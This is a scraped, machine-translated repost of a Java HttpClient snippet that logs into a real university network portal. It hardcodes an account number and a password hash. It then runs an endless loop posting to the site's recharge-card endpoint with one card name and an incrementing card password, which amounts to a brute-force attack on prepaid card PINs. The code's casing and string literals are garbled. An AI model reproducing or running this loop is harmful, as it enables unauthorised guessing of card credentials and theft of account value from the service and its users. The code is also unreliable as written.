Java uses httpclient for Web login

Source: Internet
Author: User

Http://e.neusoft.edu.cn/nav_login

Analog Browser login above this website, login server according to the verification code, refer and Cookie protection measures, verification code in the HTML file.

Import Java.io.bufferedreader;import Java.io.ioexception;import Java.io.inputstream;import Java.io.inputstreamreader;import Java.util.arraylist;import Java.util.list;import Java.util.Scanner;import Org.apache.http.header;import Org.apache.http.httpentity;import Org.apache.http.httpresponse;import Org.apache.http.namevaluepair;import Org.apache.http.client.clientprotocolexception;import Org.apache.http.client.httpclient;import Org.apache.http.client.entity.urlencodedformentity;import Org.apache.http.client.methods.httpget;import Org.apache.http.client.methods.httppost;import Org.apache.http.impl.client.defaulthttpclient;import Org.apache.http.message.basicnamevaluepair;import Org.apache.http.protocol.http;import Org.apache.http.util.entityutils;public class HttpRequst {public static void    Main (String strings[]) {HttpClient HttpClient = new Defaulthttpclient ();    try {httpget getmethod=new httpget ("Http://e.neusoft.edu.cn/nav_login"); Getmethod.setheader ("User-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;    trident/5.0) ");    HttpResponse Response=httpclient.execute (GetMethod);    Header arrheaders[]=response.getallheaders ();    Entityutils.consume (Response.getentity ());    Getmethod=new httpget ("http://e.neusoft.edu.cn/RandomCodeAction.action?randomNum=0.9179729035059037"); Getmethod.setheader ("User-agent", "mozilla/5.0" (compatible; MSIE 9.0; Windows NT 6.1; WOW64;    trident/5.0) ");    Response=httpclient.execute (GetMethod);                Entityutils.consume (Response.getentity ());    String checkcode= "";    Scanner scan=new Scanner (system.in);        Checkcode=scan.next ();    HttpPost postmethod=new httppost ("http://e.neusoft.edu.cn/LoginAction.action"); Postmethod.setheader ("User-agent", "mozilla/5.0" (compatible; MSIE 9.0; Windows NT 6.1; WOW64;    trident/5.0) ");    Postmethod.setheader ("Referer", "Http://e.neusoft.edu.cn/nav_login");    List<namevaluepair> params=new arraylist<namevaluepair> (); Params.add (New BasicNamevaluepair ("Account", "13354284438"));    Params.add (New Basicnamevaluepair ("Password", "c11d5abf846db275243d94b8472706d4"));    Params.add (New Basicnamevaluepair ("Code", ""));    Params.add (New Basicnamevaluepair ("Checkcode", Checkcode));    Params.add (New Basicnamevaluepair ("Submit", "Login")); Add the parameter postmethod.setentity (new Urlencodedformentity (params,http.    Utf_8));    Postmethod.setheaders (arrheaders);    Response=httpclient.execute (Postmethod);        Entityutils.consume (Response.getentity ());    Class Postthread implements Runnable {private HttpClient myclient=null;    private int num=23453234;    Public Postthread (HttpClient client) {myclient=client; } @Overridepublic void Run () {//TODO auto-generated method Stubwhile (True) {HttpPost postmethod=new httppost ("http/ E.neusoft.edu.cn/rechargecard.action ");p ostmethod.setheader (" User-agent "," mozilla/5.0 "(compatible; MSIE 9.0; Windows NT 6.1; WOW64; trident/5.0);p ostmethod.setheader ("Referer", "Http://e.neusOft.edu.cn/nav_rcard "); List<namevaluepair> params=new arraylist<namevaluepair> ();p Arams.add (New Basicnamevaluepair ("CardName "," 046uijalz101480 "));p Arams.add (New Basicnamevaluepair (" CARDPSW "," +num++) ");p Arams.add (New Basicnamevaluepair (" Submit "," Submission ")); HttpResponse response;try {postmethod.setentity (new urlencodedformentity (params,http. utf_8)); response = Myclient.execute (Postmethod); Entityutils.consume (Response.getentity ());} catch (Clientprotocolexception e) {//Todo auto-generated catch Blocke.printstacktrace ();} catch (IOException e) {//TODO    Auto-generated catch Blocke.printstacktrace ();}}            }        };    Postthread mpostthread=new Postthread (httpclient);        Mpostthread.run (); } catch (IOException e) {} finally {}}}


Java uses httpclient for Web login

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.